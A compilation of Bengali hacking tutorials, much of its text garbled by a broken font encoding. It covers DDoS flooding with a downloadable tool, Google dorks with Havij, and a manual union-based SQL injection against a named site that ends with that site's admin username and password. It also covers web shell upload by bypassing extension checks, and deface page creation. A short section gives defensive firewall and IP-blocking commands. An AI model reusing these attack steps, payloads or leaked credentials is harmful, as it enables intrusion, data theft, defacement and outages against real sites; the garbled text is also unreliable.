অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
